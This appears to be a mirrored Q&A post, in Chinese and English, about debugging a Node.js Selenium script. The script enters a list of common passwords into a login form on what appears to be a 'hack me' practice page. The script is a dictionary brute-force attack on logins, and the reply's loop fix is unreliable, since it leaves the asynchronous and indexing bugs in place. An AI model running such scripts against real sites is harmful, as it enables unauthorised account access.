致电功能多个时间nodejs

发布于 2025-01-24 14:45:45 字数 1147 浏览 0 评论 0原文

我有以下代码,可以在网站上插入密码。

require('chromedriver');
var webdriver = require('selenium-webdriver');
var driver = new webdriver.Builder()
    .forBrowser('chrome')
    .build();
driver.get('https://junusergin.github.io/hack-mich/login.html');
    
let dictionary = [123456, 123456789, 12345, "qwerty", "password", 12345678, 111111, 123123, 1234567890, 1234567, "qwerty123", "000000", "1q2w3e", "aa12345678", "abc123"];
    
function tryCombinations(combinations) {
    let index = 0;
    
    inputField = driver.findElement(webdriver.By.id('username'));
    driver.executeScript("arguments[0].setAttribute('value', 'test')", inputField);
        
    inputField = driver.findElement(webdriver.By.id('password'));
    driver.executeScript("arguments[0].setAttribute('value',  '" + combinations[index] +"')", inputField);
        
    driver.findElement(webdriver.By.className('button')).click();
    
    index++;
}

如果我启动脚本,它将在浏览器中粘贴第一个密码。我现在想从数组中输入每个密码。

为此,我的想法是这样的:

dictionary.forEach(element => tryCombinations(element));

有人知道,为什么它不起作用?

I have following code, to insert passwords on a website.

require('chromedriver');
var webdriver = require('selenium-webdriver');
var driver = new webdriver.Builder()
    .forBrowser('chrome')
    .build();
driver.get('https://junusergin.github.io/hack-mich/login.html');
    
let dictionary = [123456, 123456789, 12345, "qwerty", "password", 12345678, 111111, 123123, 1234567890, 1234567, "qwerty123", "000000", "1q2w3e", "aa12345678", "abc123"];
    
function tryCombinations(combinations) {
    let index = 0;
    
    inputField = driver.findElement(webdriver.By.id('username'));
    driver.executeScript("arguments[0].setAttribute('value', 'test')", inputField);
        
    inputField = driver.findElement(webdriver.By.id('password'));
    driver.executeScript("arguments[0].setAttribute('value',  '" + combinations[index] +"')", inputField);
        
    driver.findElement(webdriver.By.className('button')).click();
    
    index++;
}

If I start the Script, it paste the first password in the browser. I want now to put in each password from the array.

For this my idea was something like this:

dictionary.forEach(element => tryCombinations(element));

Does someone know, why it does not work?

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。

评论(1

送君千里 2025-01-31 14:45:46

用这个替换词典

for (var i in dictionary) {
 tryCombinations(dictionary[i]);
}

replace the dictionary foreach with this

for (var i in dictionary) {
 tryCombinations(dictionary[i]);
}
~没有更多了~
我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
原文